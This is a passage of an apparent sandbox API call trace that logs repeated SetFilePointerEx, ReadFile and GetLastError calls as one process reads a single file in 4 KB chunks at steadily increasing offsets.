liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.735] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5ad, lpOverlapped=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.735] GetLastError () returned 0x0 [0031.735] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.736] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a5, lpOverlapped=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.736] GetLastError () returned 0x0 [0031.736] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.737] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x59d, lpOverlapped=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.737] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.737] GetLastError () returned 0x0 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.738] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x595, lpOverlapped=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.738] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.739] GetLastError () returned 0x0 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.739] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x58d, lpOverlapped=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.739] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.740] GetLastError () returned 0x0 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.740] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x585, lpOverlapped=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.740] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.741] GetLastError () returned 0x0 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.741] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x57d, lpOverlapped=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.741] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.742] GetLastError () returned 0x0 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.742] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x575, lpOverlapped=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.742] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.743] GetLastError () returned 0x0 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.743] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x56d, lpOverlapped=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.743] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.744] GetLastError () returned 0x0 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.744] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x565, lpOverlapped=0x0) returned 1 [0031.744] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.745] GetLastError () returned 0x0 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.745] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x55d, lpOverlapped=0x0) returned 1 [0031.745] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.746] GetLastError () returned 0x0 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.746] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x555, lpOverlapped=0x0) returned 1 [0031.746] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.747] GetLastError () returned 0x0 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.747] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.747] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x54d, lpOverlapped=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.748] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x545, lpOverlapped=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.748] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.749] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x53d, lpOverlapped=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.749] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.749] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x535, lpOverlapped=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.750] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x52d, lpOverlapped=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.750] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, 